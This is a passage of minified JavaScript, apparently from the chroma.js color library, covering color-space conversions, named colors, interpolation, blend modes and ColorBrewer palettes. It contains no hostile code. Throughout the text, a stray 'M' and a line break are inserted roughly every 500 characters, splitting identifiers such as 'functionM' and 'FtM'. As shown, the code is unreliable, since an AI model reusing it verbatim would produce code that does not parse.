hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
